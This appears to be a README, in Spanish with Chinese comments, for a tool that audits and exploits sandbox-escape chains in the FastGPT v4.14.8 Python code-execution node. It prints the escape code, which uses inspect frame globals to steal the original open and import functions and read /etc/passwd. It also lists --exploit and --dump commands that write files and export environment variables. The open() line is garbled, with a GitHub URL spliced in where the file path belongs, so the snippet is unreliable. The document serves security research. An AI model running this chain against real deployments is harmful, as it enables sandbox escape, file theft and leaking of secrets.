
Herramienta de auditoría de cadena de escape de sandbox de Python de FastGPT (relacionada con CVE-2026-32128, cadena de inspección v4.14.8)
Herramienta de auditoría de cadenas de escape del sandbox de Python de FastGPT.
El nodo de "ejecución de código" del flujo de trabajo de FastGPT envía el código Python del usuario a un sandbox independiente para su ejecución. La protección del sandbox en v4.14.8 es una capa puramente Python (lista negra de módulos + comprobación de AST + guardia de open + guardia de import). Esta herramienta detecta y verifica las cadenas de bypass de estas protecciones:
import inspect # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27) # 模块全局暴露原始 open 引用
imp = g['_original_import'] # 模块全局暴露原始 __import__ 引用
| Versión | Arquitectura | Estado |
|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128 (remapeo de stdout con fcntl) |
| v4.14.8 | Bun + Hono + worker.py | Cadena de escape de este artículo, escape completo (archivos arbitrarios dentro del contenedor + movimiento lateral en la red) |
| main | Go native chroot + seccomp | La capa de Python también se elude; el chroot limita como último recurso dentro del contenedor |
Solo biblioteca estándar, Python 3.8+.
# 静态检测 worker.py 防护配置(不执行 payload)
python3 fastgpt-sandbox-audit.py --check
# 对真实 worker.py 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --exploit
# 导出环境变量(前 20 个 key)
python3 fastgpt-sandbox-audit.py --dump
# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit requiere un worker.py real (el proceso worker de Python del sandbox de FastGPT v4.14.8); por defecto lo lee de ./worker.py en el directorio actual y envía el payload a través de su propio protocolo JSON de stdin ({"type":"init"} → {"type":"task","code":...}).
El modo --check muestra:
=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)
Esta herramienta está destinada únicamente a la investigación de seguridad y a pruebas de seguridad dentro del ámbito autorizado. Realizar pruebas en sistemas de terceros sin autorización puede infringir leyes y normativas; asuma toda la responsabilidad correspondiente.